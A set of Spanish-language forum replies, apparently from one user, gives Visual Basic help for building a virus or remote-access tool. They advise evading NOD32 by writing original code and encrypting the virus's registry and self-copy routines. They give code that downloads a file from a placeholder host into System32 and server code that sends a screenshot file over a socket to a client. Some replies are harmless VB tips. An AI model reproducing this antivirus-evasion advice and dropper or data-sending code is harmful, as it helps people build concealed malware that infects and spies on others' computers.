Mensajes

esto va en vb, para hacer lo del mensaje basta con un msgbox y para lo de: "un codigo en vb para superar el NOD32" , basta con que el código sea creado por ti mismo y no plagiado, osea codeado por ti, y que encriptes todo lo que tenga que ver con el registro y copia del virus en windows, mientras terminas algo ir probando si es detectado o no,salu2.

12 d Septiembre

Código [Seleccionar] Expandir

Private Sub Text1_Click()
Text1.Text = ""
End Sub
easy.

podrias descargar esos archivos desde un host y guardarlos en donde quieras..x ejemplo:


n l general:

Código [Seleccionar] Expandir

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long     'api necesaria para el descargar algo de internet


en un boton..en un timer... :

Código [Seleccionar] Expandir

A = "http://www.tu.host.com/file.ocx"
B = "C:\WINDOWS\System32\file.ocx"
URLDownloadToFile 0, A, B, 0, 0


y yasta la tendrias en system32

fácil.

http://www.elguille.info/colabora/NET2005/jtorres_redirigirVB.htm

mira ver si eso t ayuda !!

Felicidades soplo !!

Código [Seleccionar] Expandir

Dim lol As Integer
Dim frago As Integer
Dim goblin As String
lol = FreeFile
frago = 8192
goblin = "c:\Juazcp.jpg"
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
sck.SendData camun
DoEvents
Loop
Close #lol

eso para el server, ahora en el cliente: recibe esos datos y metelos en un nuevo archivo y tendra tú screenshot.

y si has puesto alguna lammerada como "abrir cd" tambien va a saltar el antivirus

eso permiteme ponerlo en duda...

jajaj nylon che deja eso xke estas alucinando  donde viste on error resume next e loko  bueno no te diste cuenta ejjeje

si pones On Error Goto Error ' en caso d errpr nos vamos hasta la etiketa error

al final antes del End Sub as de poner:

Error:
End Sub